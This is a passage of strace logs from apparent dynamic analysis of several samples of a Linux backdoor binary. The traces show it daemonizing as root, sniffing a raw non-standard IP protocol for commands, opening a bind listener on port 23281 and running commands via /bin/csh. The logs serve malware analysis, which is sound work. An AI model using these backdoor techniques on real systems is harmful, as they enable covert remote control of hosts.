[pid   949] rt_sigaction(SIGVTALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGPROF, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGUSR1, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGUSR2, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0

[pid   949] rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0

[pid   949] socket(PF_UNIX, SOCK_STREAM, 0) = 3

[pid   949] connect(3, {sin_family=AF_UNIX, path="                                                                                       /var/run/.nscd_socket"}, 110) = -1 ECONNREFUSED (Connection refused)

[pid   949] close(3)                    = 0

[pid   949] open("/etc/nsswitch.conf", O_RDONLY) = -1 ENOENT (No such file or directory)

[pid   949] open("/lib/libnss_compat.so.2", O_RDONLY) = 3

[pid   949] fstat(3, {st_mode=S_IFREG|0755, st_size=219843, ...}) = 0

[pid   949] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\31\0\000"..., 4096) = 4096

[pid   949] old_mmap(NULL, 45036, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4010e000

[pid   949] mprotect(0x40118000, 4076, PROT_NONE) = 0

[pid   949] old_mmap(0x40118000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x9000) = 0x40118000

[pid   949] close(3)                    = 0

[pid   949] open("/lib/libnsl.so.1", O_RDONLY) = 3

[pid   949] fstat(3, {st_mode=S_IFREG|0755, st_size=370141, ...}) = 0

[pid   949] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20?\0\000"..., 4096) = 4096

[pid   949] old_mmap(NULL, 88104, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40119000

[pid   949] mprotect(0x4012b000, 14376, PROT_NONE) = 0

[pid   949] old_mmap(0x4012b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x11000) = 0x4012b000

[pid   949] old_mmap(0x4012d000, 6184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4012d000

[pid   949] close(3)                    = 0

[pid   949] brk(0x809b000)              = 0x809b000

[pid   949] open("/etc/nsswitch.conf", O_RDONLY) = -1 ENOENT (No such file or directory)

[pid   949] uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0

[pid   949] open("/etc/passwd", O_RDONLY) = 3

[pid   949] fcntl(3, F_GETFD)           = 0

[pid   949] fcntl(3, F_SETFD, FD_CLOEXEC) = 0

[pid   949] fstat64(0x3, 0xbffff550)    = -1 ENOSYS (Function not implemented)

[pid   949] fstat(3, {st_mode=S_IFREG|0644, st_size=60, ...}) = 0

[pid   949] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4012f000

[pid   949] _llseek(3, 0, [0], SEEK_CUR) = 0

[pid   949] read(3, "root:x:0:0:root:/:/bin/bash\ntest"..., 4096) = 60

[pid   949] close(3)                    = 0

[pid   949] munmap(0x4012f000, 4096)    = 0

[pid   949] uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0

[pid   949] open("/lib/libnss_files.so.2", O_RDONLY) = 3

[pid   949] fstat(3, {st_mode=S_IFREG|0755, st_size=246652, ...}) = 0

[pid   949] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p \0\000"..., 4096) = 4096

[pid   949] old_mmap(NULL, 36384, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4012f000

[pid   949] mprotect(0x40137000, 3616, PROT_NONE) = 0

[pid   949] old_mmap(0x40137000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x7000) = 0x40137000

[pid   949] close(3)                    = 0

[pid   949] brk(0x809c000)              = 0x809c000

[pid   949] brk(0x809e000)              = 0x809e000

[pid   949] getcwd("/", 4095)           = 2

[pid   949] getpid()                    = 949

[pid   949] getppid()                   = 945

[pid   949] stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

[pid   949] stat("/usr/kerberos/bin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)

[pid   949] stat("/usr/kerberos/bin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)

[pid   949] stat("/sbin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)

[pid   949] stat("/usr/sbin/sh", 0xbffff6b0) = -1 ENOENT (No such file or directory)

[pid   949] stat("/bin/sh", {st_mode=S_IFREG|0755, st_size=316848, ...}) = 0

[pid   949] getpgrp()                   = 945

[pid   949] fcntl(-1, F_SETFD, FD_CLOEXEC) = -1 EBADF (Bad file descriptor)

[pid   949] rt_sigaction(SIGCHLD, {0x805c190, [], 0x4000000}, {SIG_IGN}, 8) = 0

[pid   949] open("/bin/csh", O_RDONLY)  = 3

[pid   949] lseek(3, 0, SEEK_CUR)       = 0

[pid   949] read(3, "#!/bin/sh\necho \"I was called wit"..., 80) = 73

[pid   949] lseek(3, 0, SEEK_SET)       = 0

[pid   949] fcntl(3, F_SETFD, FD_CLOEXEC) = 0

[pid   949] fcntl(3, F_GETFL)           = 0 (flags O_RDONLY)

[pid   949] fstat(3, {st_mode=S_IFREG|0755, st_size=73, ...}) = 0

[pid   949] lseek(3, 0, SEEK_CUR)       = 0

[pid   949] read(3, "#!/bin/sh\necho \"I was called wit"..., 73) = 73

[pid   949] brk(0x809f000)              = 0x809f000

[pid   949] open("/tmp/csh.out", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4

[pid   949] fcntl(1, F_GETFD)           = 0

[pid   949] fcntl(1, F_DUPFD, 10)       = 10

[pid   949] fcntl(1, F_GETFD)           = 0

[pid   949] fcntl(10, F_SETFD, FD_CLOEXEC) = 0

[pid   949] dup2(4, 1)                  = 1

[pid   949] close(4)                    = 0

[pid   949] fstat(1, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0

[pid   949] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40138000

[pid   949] write(1, "I was called with -f -c \352\352\352\352\352\352\352\340"..., 202) = 202

[pid   949] dup2(10, 1)                 = 1

[pid   949] fcntl(10, F_GETFD)          = 0x1 (flags FD_CLOEXEC)

[pid   949] close(10)                   = 0

[pid   949] write(1, "goodbye\n", 8)    = 8

[pid   949] munmap(0x40138000, 4096)    = 0

[pid   949] _exit(0)                    = ?

<... wait4 resumed> [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 949

rt_sigprocmask(SIG_BLOCK, [CHLD], [CHLD], 8) = 0

rt_sigprocmask(SIG_SETMASK, [CHLD], NULL, 8) = 0

rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0

--- SIGCHLD (Child exited) ---

wait4(-1, 0xbffff564, WNOHANG, NULL)    = -1 ECHILD (No child processes)

sigreturn()                             = ? (mask now [])

rt_sigaction(SIGINT, {0x804b8c0, [], 0x4000000}, {0x805b6a0, [], 0x4000000}, 8) = 0

_exit(0)                                = ?

 

 

 

 

 

bash# strace -f reverse/the-binary3

execve("reverse/the-binary3", ["reverse/the-binary3"], [/* 25 vars */]) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

setsid()                                = 951

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

chdir("/")                              = 0

close(0)                                = 0

close(1)                                = 0

close(2)                                = 0

time(NULL)                              = 1021496277

socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0

sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

recv(0, "E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"..., 2048, 0) = 201

socket(PF_INET, SOCK_RAW, IPPROTO_RAW)  = 1

brk(0)                                  = 0x807eb98

brk(0x807ebb8)                          = 0x807ebb8

brk(0x807f000)                          = 0x807f000

open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)

stat("/etc/locale/C/libc.cat", 0xbfffa2c8) = -1 ENOENT (No such file or directory)

stat("/usr/lib/locale/C/libc.cat", 0xbfffa2c8) = -1 ENOENT (No such file or directory)

stat("/usr/lib/locale/libc/C", 0xbfffa2c8) = -1 ENOENT (No such file or directory)

stat("/usr/share/locale/C/libc.cat", 0xbfffa2c8) = -1 ENOENT (No such file or directory)

stat("/usr/local/share/locale/C/libc.cat", 0xbfffa2c8) = -1 ENOENT (No such file or directory)

open("/etc/host.conf", O_RDONLY)        = -1 ENOENT (No such file or directory)

gettimeofday({1021496280, 728308}, NULL) = 0

getpid()                                = 951

open("/etc/resolv.conf", O_RDONLY)      = -1 ENOENT (No such file or directory)

uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0

sigprocmask(SIG_BLOCK, [ALRM], [])      = 0

sigaction(SIGALRM, {0x80556c4, [], 0}, {SIG_DFL}, 0x40037c68) = 0

time(NULL)                              = 1021496280

alarm(600)                              = 0

sigsuspend([] <unfinished ...>

--- SIGALRM (Alarm clock) ---

<... sigsuspend resumed> )              = -1 EINTR (Interrupted system call)

sigreturn()                             = ? (mask now [ALRM])

time(NULL)                              = 1021504084

sigaction(SIGALRM, {SIG_DFL}, NULL, 0x1e) = 0

alarm(0)                                = 0

sigprocmask(SIG_SETMASK, [], NULL)      = 0

sigprocmask(SIG_BLOCK, [ALRM], [])      = 0

sigaction(SIGALRM, {0x80556c4, [], 0}, {SIG_DFL}, 0x80575b0) = 0

time(NULL)                              = 1021504084

alarm(600)                              = 0

sigsuspend([] <unfinished ...>

 

 

 

 

 

bash# strace -f reverse/the-binary4

execve("reverse/the-binary4", ["reverse/the-binary4"], [/* 25 vars */]) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

setsid()                                = 990

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

chdir("/")                              = 0

close(0)                                = 0

close(1)                                = 0

close(2)                                = 0

time(NULL)                              = 1021504109

socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0

sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

recv(0, "E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"..., 2048, 0) = 201

socket(PF_INET, SOCK_RAW, IPPROTO_RAW)  = 1

brk(0)                                  = 0x807eb98

brk(0x807ebb8)                          = 0x807ebb8

brk(0x807f000)                          = 0x807f000

open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = -1 ENOENT (No such file or directory)

stat("/etc/locale/C/libc.cat", 0xbfffa890) = -1 ENOENT (No such file or directory)

stat("/usr/lib/locale/C/libc.cat", 0xbfffa890) = -1 ENOENT (No such file or directory)

stat("/usr/lib/locale/libc/C", 0xbfffa890) = -1 ENOENT (No such file or directory)

stat("/usr/share/locale/C/libc.cat", 0xbfffa890) = -1 ENOENT (No such file or directory)

stat("/usr/local/share/locale/C/libc.cat", 0xbfffa890) = -1 ENOENT (No such file or directory)

open("/etc/host.conf", O_RDONLY)        = -1 ENOENT (No such file or directory)

gettimeofday({1021504112, 728109}, NULL) = 0

getpid()                                = 990

open("/etc/resolv.conf", O_RDONLY)      = -1 ENOENT (No such file or directory)

uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0

sigprocmask(SIG_BLOCK, [ALRM], [])      = 0

sigaction(SIGALRM, {0x80556c4, [], 0}, {SIG_DFL}, 0x40037c68) = 0

time(NULL)                              = 1021504112

alarm(600)                              = 0

sigsuspend([] <unfinished ...>

 

 

 

 

 

bash# strace -f reverse/the-binary5

execve("reverse/the-binary5", ["reverse/the-binary5"], [/* 25 vars */]) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

setsid()                                = 995

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

chdir("/")                              = 0

close(0)                                = 0

close(1)                                = 0

close(2)                                = 0

time(NULL)                              = 1021504144

socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0

sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

recv(0, "E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"..., 2048, 0) = 201

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

setsid()                                = -1 EPERM (Operation not permitted)

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 1

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGHUP, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGTERM, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

setsockopt(1, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0

bind(1, {sin_family=AF_INET, sin_port=htons(23281), sin_addr=inet_addr("0.0.0.0")}}, 16) = 0

listen(1, 3)                            = 0

accept(1, {sin_family=AF_INET, sin_port=htons(1039), sin_addr=inet_addr("127.0.0.1")}}, [16]) = 2

recv(2, "id\r\n", 19, 0)                = 4

send(2, "\377\373\1\0", 4, 0)           = 4

close(2)                                = 0

_exit(1)                                = ?

 

 

 

 

 

bash# strace -f reverse/the-binary6

execve("reverse/the-binary6", ["reverse/the-binary6"], [/* 25 vars */]) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

setsid()                                = 1004

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

chdir("/")                              = 0

close(0)                                = 0

close(1)                                = 0

close(2)                                = 0

time(NULL)                              = 1021504244

socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0

sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

recv(0, "E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"..., 2048, 0) = 201

setsid()                                = -1 EPERM (Operation not permitted)

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigprocmask(SIG_BLOCK, [CHLD], [])      = 0

sigaction(SIGINT, {SIG_DFL}, NULL, 0x1d) = 0

sigaction(SIGQUIT, {SIG_DFL}, NULL, 0x1e) = 0

sigprocmask(SIG_SETMASK, [], NULL)      = 0

execve("/bin/sh", ["sh", "-c", "/bin/csh -f -c \"\352\352\352\352\352\352\352\340\352\352"...], [/* 25 vars */]) = 0

brk(0)                                  = 0x80994a0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000

open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY)      = -1 ENOENT (No such file or directory)

open("/lib/i686/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

stat("/lib/i686/mmx", 0xbffff3a8)       = -1 ENOENT (No such file or directory)

open("/lib/i686/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

stat("/lib/i686", 0xbffff3a8)           = -1 ENOENT (No such file or directory)

open("/lib/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

stat("/lib/mmx", 0xbffff3a8)            = -1 ENOENT (No such file or directory)

open("/lib/libtermcap.so.2", O_RDONLY)  = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 4096

old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40015000

mprotect(0x40018000, 3016, PROT_NONE)   = 0

old_mmap(0x40018000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x2000) = 0x40018000

close(1)                                = 0

open("/lib/libc.so.6", O_RDONLY)        = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096

old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40019000

mprotect(0x40106000, 30812, PROT_NONE)  = 0

old_mmap(0x40106000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0xec000) = 0x40106000

old_mmap(0x4010a000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4010a000

close(1)                                = 0

mprotect(0x40019000, 970752, PROT_READ|PROT_WRITE) = 0

mprotect(0x40019000, 970752, PROT_READ|PROT_EXEC) = 0

personality(PER_LINUX)                  = 0

getpid()                                = 1004

getuid()                                = 0

getgid()                                = 0

geteuid()                               = 0

getegid()                               = 0

brk(0)                                  = 0x80994a0

brk(0x80994c0)                          = 0x80994c0

brk(0x809a000)                          = 0x809a000

time(NULL)                              = 1021504250

rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_IGN}, 8) = 0

rt_sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGHUP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0

rt_sigaction(SIGHUP, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0

rt_sigaction(SIGINT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGILL, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGTRAP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGABRT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGFPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGBUS, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGSEGV, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGUNUSED, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGPIPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGTERM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0

rt_sigaction(SIGTERM, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0

rt_sigaction(SIGXCPU, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGXFSZ, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGVTALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGPROF, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGUSR1, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGUSR2, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0

rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0

socket(PF_UNIX, SOCK_STREAM, 0)         = 1

connect(1, {sin_family=AF_UNIX, path="                                                                                       /var/run/.nscd_socket"}, 110) = -1 ECONNREFUSED (Connection refused)

close(1)                                = 0

open("/etc/nsswitch.conf", O_RDONLY)    = -1 ENOENT (No such file or directory)

open("/lib/libnss_compat.so.2", O_RDONLY) = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=219843, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\31\0\000"..., 4096) = 4096

old_mmap(NULL, 45036, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4010e000

mprotect(0x40118000, 4076, PROT_NONE)   = 0

old_mmap(0x40118000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x9000) = 0x40118000

close(1)                                = 0

open("/lib/libnsl.so.1", O_RDONLY)      = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=370141, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20?\0\000"..., 4096) = 4096

old_mmap(NULL, 88104, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40119000

mprotect(0x4012b000, 14376, PROT_NONE)  = 0

old_mmap(0x4012b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x11000) = 0x4012b000

old_mmap(0x4012d000, 6184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4012d000

close(1)                                = 0

brk(0x809b000)                          = 0x809b000

open("/etc/nsswitch.conf", O_RDONLY)    = -1 ENOENT (No such file or directory)

uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0

open("/etc/passwd", O_RDONLY)           = 1

fcntl(1, F_GETFD)                       = 0

fcntl(1, F_SETFD, FD_CLOEXEC)           = 0

fstat64(0x1, 0xbffff560)                = -1 ENOSYS (Function not implemented)

fstat(1, {st_mode=S_IFREG|0644, st_size=60, ...}) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4012f000

_llseek(1, 0, [0], SEEK_CUR)            = 0

read(1, "root:x:0:0:root:/:/bin/bash\ntest"..., 4096) = 60

close(1)                                = 0

munmap(0x4012f000, 4096)                = 0

uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0

open("/lib/libnss_files.so.2", O_RDONLY) = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=246652, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p \0\000"..., 4096) = 4096

old_mmap(NULL, 36384, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4012f000

mprotect(0x40137000, 3616, PROT_NONE)   = 0

old_mmap(0x40137000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x7000) = 0x40137000

close(1)                                = 0

brk(0x809c000)                          = 0x809c000

brk(0x809e000)                          = 0x809e000

getcwd("/", 4095)                       = 2

getpid()                                = 1004

getppid()                               = 1003

stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

stat("/usr/kerberos/bin/sh", 0xbffff6c0) = -1 ENOENT (No such file or directory)

stat("/usr/kerberos/bin/sh", 0xbffff6c0) = -1 ENOENT (No such file or directory)

stat("/sbin/sh", 0xbffff6c0)            = -1 ENOENT (No such file or directory)

stat("/usr/sbin/sh", 0xbffff6c0)        = -1 ENOENT (No such file or directory)

stat("/bin/sh", {st_mode=S_IFREG|0755, st_size=316848, ...}) = 0

getpgrp()                               = 1004

fcntl(-1, F_SETFD, FD_CLOEXEC)          = -1 EBADF (Bad file descriptor)

rt_sigaction(SIGCHLD, {0x805c190, [], 0x4000000}, {SIG_IGN}, 8) = 0

brk(0x809f000)                          = 0x809f000

brk(0x80a0000)                          = 0x80a0000

rt_sigaction(SIGHUP, {SIG_IGN}, NULL, 8) = 0

rt_sigaction(SIGILL, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGTRAP, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGABRT, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGFPE, {SIG_DFL}, NULL, 8) = 0

rt_sigaction(SIGBUS, {SIG_DFL}, NULL, 8) = 0

